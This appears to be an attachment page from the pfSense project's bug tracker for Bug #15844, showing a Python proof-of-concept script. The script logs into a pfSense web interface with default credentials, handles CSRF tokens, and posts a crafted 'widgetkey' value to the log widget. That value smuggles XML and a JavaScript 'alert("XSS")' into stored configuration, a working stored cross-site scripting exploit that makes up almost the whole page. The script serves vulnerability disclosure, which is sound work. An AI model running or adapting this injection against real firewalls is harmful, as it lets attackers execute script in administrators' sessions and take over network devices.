Search
Project
General
Profile
Sign in
Register
Home
Projects
Help
Search
:
pfSense
All Projects
pfSense
Overview
Activity
Roadmap
Issues
Download (1.2 KB)
Bug #15844
» poc-widgetkey-15844.py
Jim Pingle
, 11/22/2024 07:24 PM
#!/usr/bin/env python3
import
requests
requests
.
packages
.
urllib3
.
disable_warnings
()
from
bs4
import
BeautifulSoup
baseurl
=
'
https://192.168.1.1
'
target
=
baseurl
+
'
/widgets/widgets/log.widget.php
'
login_data
=
{
'
login
'
:
'
Login
'
,
'
usernamefld
'
:
'
admin
'
,
'
passwordfld
'
:
'
pfsense
'
,
}
target_data
=
{
'
filterlogentries
'
:
'
10
'
,
'
widgetkey
'
:
'
test/><log-0><filterlogentriesinterval>5;alert(
"
XSS
"
);var test=50</filterlogentriesinterval></log-0><!--
'
}
headers
=
{
'
user-agent
'
:
'
Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
'
}
with
requests
.
Session
()
as
s
:
# Fetch CSRF token from login page
r
=
s
.
get
(
baseurl
,
headers
=
headers
,
verify
=
False
)
soup
=
BeautifulSoup
(
r
.
text
,
'
lxml
'
)
login_data
[
'
__csrf_magic
'
]
=
soup
.
find
(
'
input
'
,
attrs
=
{
'
name
'
:
'
__csrf_magic
'
})[
'
value
'
]
# Login
r
=
s
.
post
(
baseurl
,
data
=
login_data
,
headers
=
headers
)
# Find the next CSRF token
soup
=
BeautifulSoup
(
r
.
text
,
'
lxml
'
)
target_data
[
'
__csrf_magic
'
]
=
soup
.
find
(
'
input
'
,
attrs
=
{
'
name
'
:
'
__csrf_magic
'
})[
'
value
'
]
# Submit actual request
r
=
s
.
post
(
target
,
data
=
target_data
,
headers
=
headers
)
# Dump response
print
(
r
.
text
)
« Previous
1
2
3
4
Next »
(1-1/4)
Loading...